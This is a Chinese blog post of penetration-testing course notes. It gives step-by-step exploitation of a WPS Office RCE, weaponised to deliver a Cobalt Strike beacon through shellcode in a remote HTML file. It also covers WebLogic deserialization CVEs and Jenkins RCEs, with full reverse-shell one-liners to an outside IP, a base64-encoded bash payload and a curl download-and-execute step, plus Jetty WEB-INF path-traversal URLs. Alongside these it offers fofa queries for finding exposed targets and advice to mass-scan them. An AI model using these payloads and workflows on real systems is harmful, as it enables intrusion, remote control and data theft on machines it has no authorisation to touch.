本文发布于469天前,本文最后更新于466 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- 应用WPS-HW2023-RCE&复现&上线CS
- 中间件-Weblogic-CVE&反序列化&RCE
- 中间件-Jenkins-CVE&RCE执行
- 中间件-Jetty-CVE&信息泄漏
后门三个中间件的漏洞复现都是使用的vulfocus
演示案例
➢应用WPS-HW2023-RCE&复现&上线CS
了解
- WPS Office 代码执行(QVD-2023-17241)影响版本
- WPS Office 2023个人版<11.1.0.15120
- WPS Office 2019企业版<11.8.2.12085
复现&上线CS
- 简单复现网上POC
分析1.html poc.docx - 修改配合联动上线CS
- 修改html中的shellcode(C#)
- 修改docx中的指向连接URL
- 修改hosts绑定执行域名规则
- 漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn
- 实战中:申请{xxxxx}wps.cn域名
- 增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn ip上面
- IP架设1.html网站服务,修改1.html上线shellcode
- CobaltStrike使用教程详解(基础):https://blog.csdn.net/m0_73353130/article/details/131725759
测试过程
- 修改win10虚拟机中的hosts,添加
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
- 在win10虚拟机中在WPS RCE复现目录下面使用python启动一个web服务,并监听端口
python -m http.server 80
使可以访问到127.0.0.1/1.html
- 然后安装好目录下面的wps,直接打开poc.docx,会发现弹出了计算机(实现了复现),但实战中不能只弹出计算器,下面来使其win10上线到cs
- 在kali(小迪用的是本机,我的Windows打不开,所以就用kalil了)中打开CobaltStrike,之后添加监听器
添加一个监听器wps-rce监听7777端口,ip为本机 - 然后点击Payloads->Stager Payload Generator->选择刚才创建的监听器,Output选择C#->然后生成payload
- 将生成文件的那一串十六进制数据填写到1.html的const shellcode = new Uint8Array([这个里面]);
- 然后将新的1.html替换至win10虚拟机中
- 然后在win10虚拟机中重新打开poc.docx,额这里小迪说要重新安装(说不卸载的话会有缓存),但貌似不需要,只是有的那个cs会有延迟,所以需要等一下,我的就是,刚开始以为需要重新安装,后来发现不需要,一下子蹦出来好几个,机器上线成功
注:后门并不是在poc.docx里面,而是在1.html中,其实是远程加载,因为打开这个poc.docx时会请求那个1.html- 为什么打开这个docx会请求那个1.html
- 使用打开压缩包的软件打开这个docx,会发现里面
- docx文档里面可以插入远程图片或访问外部网站,而一旦有了这些功能之后,就会在docx里面就会多出webExtensions
- 打开webExtension1.xml,发现其中的url是之前设置的解析到本地的域名,并且访问的是1.html
- 使用打开压缩包的软件打开这个docx,会发现里面
- 为什么打开这个docx会请求那个1.html
- 将之前的1.html放置到kali的/var/www/html路径下,并且在该目录下使用python开启一个web服务,使其可以被访问到
python -m http.server 80 # 访问192.168.159.128/1.html,小迪这里是使用的8080,是为了区分, # 但这里设置成80的话就不用改那个docx里面的webExtension1.xml
- 然后重新修改win10虚拟机的hosts,使那个域名指向kali的ip
192.168.159.128 clientweb.docer.wps.cn.cloudwps.cn
- 然后重新打开poc.docx即可
这里刚开始有点毛病,没上线,但是访问了,然后我就试着按小迪的卸载了wps重新安装了一下,就可以了
但是之前确实不用,也不知道是什么毛病
➢中间件-Weblogic-CVE&反序列化&RCE
了解
- Weblogic是Oracle公司推出的J2EE应用服务器。
- 探针默认端口:7001
利用
- WeblogicTool的GitHub地址:https://github.com/KimJun1010/WeblogicTool
- fofa搜索语法:
"Error 404-Not Found" && port="7001"
- 标志就是那个报错页面
CVE
使用工具直接干就完事了,目前学怎么挖掘这些漏洞还做不到
- CVE-2023-21839(JNDI)、CVE-2020-2551(JRMP)、CVE-2020-2551
- CVE-2020-2555、CVE-2020-2883、CVE-2020-14882未授权访问
- CVE-2018-2894、CVE-2018-2628(JRMP)、CVE-2018-2893(JRMP)
- CVE-2018-3245(JRMP)、CVE_2018_3252(JRMP)、CVE_2018_3191
- CVE-2016-3510、CVE-2016-0638、CVE-2017-10271、CVE-2017-3248(JRMP)、CVE-2015-4852
➢中间件-Jenkins-CVE&RCE执行
了解
- Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。
- 探针默认端口:8080
利用
- fofa搜索语法:
app="Jenkins"
- 标志是个老爷头
CVE
md我的vulfocus有问题,
- cve_2017_1000353 其他版本失效
- 漏洞影响版本
- 所有jenkins主版本均受到影响(包括<=2.56版本)
- 所有的jenkins LTS均受到影响(包括<=2.46.1版本)
- 利用项目地址:http://github.com/vulhub/CVE-2017-1000353
- 利用:
# 1.先生成反弹shell命令 bash -i >& /dev/tcp/47.94.236.117/5566 0>&1 # 2.将base64编码过后的命令填入生成jenkins_poc.ser,这里java建议使用JDK-1.8.0_291,其他的好像有问题 java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ==}|{base64,-d}|{bash,-i}" # 3.使用python启动epxploit.py,加上网站和jenkins_poc.ser python exploit.py http://123.58.236.76:54217 jenkins_poc.ser # 4.攻击机即可获取到反弹的shell(要记得在攻击机执行nc -lvvp 5566)
- 漏洞影响版本
- CVE-2018-1000861
- 漏洞影响版本:Jenkins2.153及更早版本,LTS2.138.3及更早版本
- 利用项目地址:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
- 利用:
# 1.将反弹shell命令写入到服务器下shell.txt bash -i >& /dev/tcp/47.94.236.117/5566 0>&1 # 2.在服务器上启动一个web服务,使可以访问到shell.txt python3 -m http.server 8888 # 3.先使目标远程下载shell.txt文件并保存 python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell.txt" # 4.再使目标执行下载的文件 python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
- 实战中可以将是这个服务的网站全部获取到(使用fofa),然后写个脚本批量跑下载shell.txt,不断替换url即可,谁下载谁有漏洞,就可以进行测试了
- cve_2019_100300 需要用户帐号密码
➢中间件-Jetty-CVE&信息泄漏
了解
- Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
利用
- fofa搜索语法:
app="Jetty"
CVE
- jetty 敏感信息泄露 (CVE-2021-28169)
- 了解:
- 对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本,对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如,对 `/concat?/%2557EB-INF/web.xml` 的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。
- 了解:
- jetty 敏感信息泄露 (CVE-2021-34429)
- 了解:
- 对于 Eclipse Jetty 版本 9.4.37-9.4.42、10.0.1-10.0.5 和 11.0.1-11.0.5,可以使用一些编码字符来制作 URI 以访问 WEB-INF 目录的内容和/或绕过一些安全限制。这是 CVE-2021-28164/GHSA-v7ff-8wcx-gmc5 中报告的漏洞的变体。访问 /%u002e/WEB-INF/web.xml可以绕过安全限制,读取到webxml内容.
- 对于 Eclipse Jetty 版本 9.4.37-9.4.42、10.0.1-10.0.5 和 11.0.1-11.0.5,可以使用一些编码字符来制作 URI 以访问 WEB-INF 目录的内容和/或绕过一些安全限制。这是 CVE-2021-28164/GHSA-v7ff-8wcx-gmc5 中报告的漏洞的变体。访问 /%u002e/WEB-INF/web.xml可以绕过安全限制,读取到webxml内容.
- 了解:
- 路径就是下面这5个,都试一下就行了
/%2e/WEB-INF/web.xml /.%00/WEB-INF/web.xml /%u002e/WEB-INF/web.xml /static?/WEB-INF/web.xml /a/b/..%00/WEB-INF/web.
参考
学习内容均来自小迪安全系列课程:http://xiaodi8.com/